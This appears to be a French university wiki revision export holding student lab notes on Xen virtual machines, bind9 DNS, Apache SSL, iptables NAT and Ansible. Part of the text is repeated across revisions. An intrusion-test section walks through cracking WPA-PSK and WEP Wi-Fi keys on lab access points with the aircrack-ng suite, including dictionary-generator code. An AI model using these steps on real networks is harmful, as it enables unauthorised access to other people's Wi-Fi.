&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51749</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51749"/>
				<updated>2019-12-09T17:30:09Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
Nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
